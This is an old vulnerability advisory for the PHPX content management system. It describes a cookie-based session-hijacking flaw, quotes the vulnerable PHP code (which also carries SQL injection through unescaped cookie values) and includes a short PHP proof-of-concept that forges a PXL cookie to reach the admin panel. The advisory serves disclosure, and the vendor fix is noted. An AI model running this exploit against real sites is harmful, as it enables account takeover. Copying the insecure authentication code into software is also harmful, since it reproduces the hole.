~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ PHPX 3.2.4 (http://www.phpx.org) ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ Versions Affected: PHPX 2.x - 3.2.4 Type of bug: Session Hi-jacking/Admin Access (via Cookies) Impact: Ability to steal another users account Found-by: HelloWorld (Ryan Wray) Vendor: Notified Table Of Contents ===================== 1) The Program 2) The Problem 3) The Proof of Concept [PHP Code] 4) The Fix 5) Conclusion 1. The Program "PHPX is a constantly evolving and changing Content Management System (CMS). PHPX is highly customizable and high powered all in one system. PHPX provides content management combined with the power of a portal by including in the core package modules such as FAQ, polls, and forums. PHPX uses dynamic-template-design, what this means is that you have the power to control what your site will look like. Themes are included, but not required. You can create the page however you want, and PHPX will just insert code where you want it. No more 3 columns if you don’t want it! Written in the powerful server language, PHP, and utilizing the amazingly fast and secure database MySQL, PHPX is a great solution for all size website communities, at the best price possible... free!" - Vendor's Description (http://www.phpx.org) 2. The Problem PHPX fails to create a secure session management engine. A user can obtain a session by simply suppling a uid of the user in which they want to obtain the account from, and as long as their session is in the database, it will allow session hi-jacking to occur. Further-more it is concerning that the session id itself is generated by a simple auto increment field in the MySQL database, making it trivial for an attacker to steal a cookie. The main code allowing the attacker steal a session is these 2 small sections: phpxdir/includes/functions.inc.php ###################### CODE HERE ###################### function forumTracker(){ if (!isset($_COOKIE[PXLF])){ $last = time(); $last = $this->getTime($last, 1); if (isset($_COOKIE[PXL])){ $result = mysql_query("select sess_id from forums_session where user_id = '$_COOKIE[PXL]'"); $count = mysql_num_rows($result); if ($count != 0){ list($cookie) = mysql_fetch_row($result); } else { mysql_query("insert into forums_session (user_id, last) VALUES ('$_COOKIE[PXL]', '$last')"); $cookie = mysql_insert_id(); } } else { mysql_query("insert into forums_session (user_id, last) VALUES ('0', '$last')"); $cookie = mysql_insert_id(); } setcookie("PXLF", $cookie, time() + 315360000, '', '', $this->ssl); } else { list($count) = mysql_fetch_row(mysql_query("select count(sess_id) from forums_session where sess_id = '$_COOKIE[PXLF]'")); if ($count == 1){ $time = $this->getTime(time(), 1); list($last, $temp) = mysql_fetch_row(mysql_query("select last, temp from forums_session where sess_id = '$_COOKIE[PXLF]'")); if ($temp < $time){ $timeplus = $time + 900; mysql_query("update forums_session set templast = '$last', temp = '$timeplus' where sess_id = '$_COOKIE[PXLF]'"); } $last = $this->getTime($last, 1); mysql_query("update forums_session set last = '$time', user_id = '$_COOKIE[PXL]' where sess_id = '$_COOKIE[PXLF]'"); } else { setcookie("PXLF", '', time() - 900, '', '', $this->ssl); } } if (isset($_GET['topic_id'])){ mysql_query("update forums_topics set reads = reads + 1 where topic_id = '$_GET[topic_id]'"); } } ##################### /CODE HERE ##################### AND phpxdir/admin/includes/auth.inc.php ###################### CODE HERE ###################### if (isset($_COOKIE["PXL"])){ $userinfo = $core->findUserInfo($_COOKIE["PXL"]); if ($userinfo[6] == 1){ $core->logout($userinfo, "s"); } if ($userinfo[5] != 1){ $core->logout($userinfo, "a"); } } ##################### /CODE HERE ##################### The first allows the theft of any account. The second allows only the theft of an admin account - for the use of the admins panel. 3. The Proof of Concept [PHP] The proof of concept is coded in PHP, and allows someone to gain access to the PHPX admin panel: ###################### CODE HERE ###################### */ function usage() { echo "Usage request"; } function bytes_left($fp) { $status=socket_get_status($fp); if($status['unread_bytes'] > 0) { return true; } return false; } print_r($_SERVER['argv']); if($_SERVER['argc'] != 4) { exit(usage()); } // Attempt to connect to host. $fp=@fsockopen($_SERVER['argv'][1],$_SERVER['argv'][2]); if(!$fp) { exit('Could not connect to host: '.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]); } else { fputs($fp,"GET ".$_SERVER['argv'][3]."index.php HTTP/1.1\r\n"); fputs($fp,"Host: ".$_SERVER['argv'][1]."\r\n"); fputs($fp,"Cookie: PXL=2\r\n\r\n"); } // Start accepting data, otherwise socket_get_status will say there are 0 unread bytes. echo fgets($fp,1024); // While we can read. while(bytes_left($fp)) { echo fgets($fp,1024); } // Close the socket. fclose($fp); ?> ##################### /CODE HERE ##################### 3. The Fix The vendor informs me that version 3.2.5 (latest) now has a more secure auth schema. 4. Conclusion PHPX is a solid CMS besides it weak authorisation for users. It is Object Oriented and has some nice features, such as the option for SSL support. Hopefully it can correct any problems it has. Thanks to the vendor for being quick to resond a react to the concern. Shouts to: All who know me! This vulneribility, advisory and proof of concept code was found/written by Ryan Wray (HelloWorld).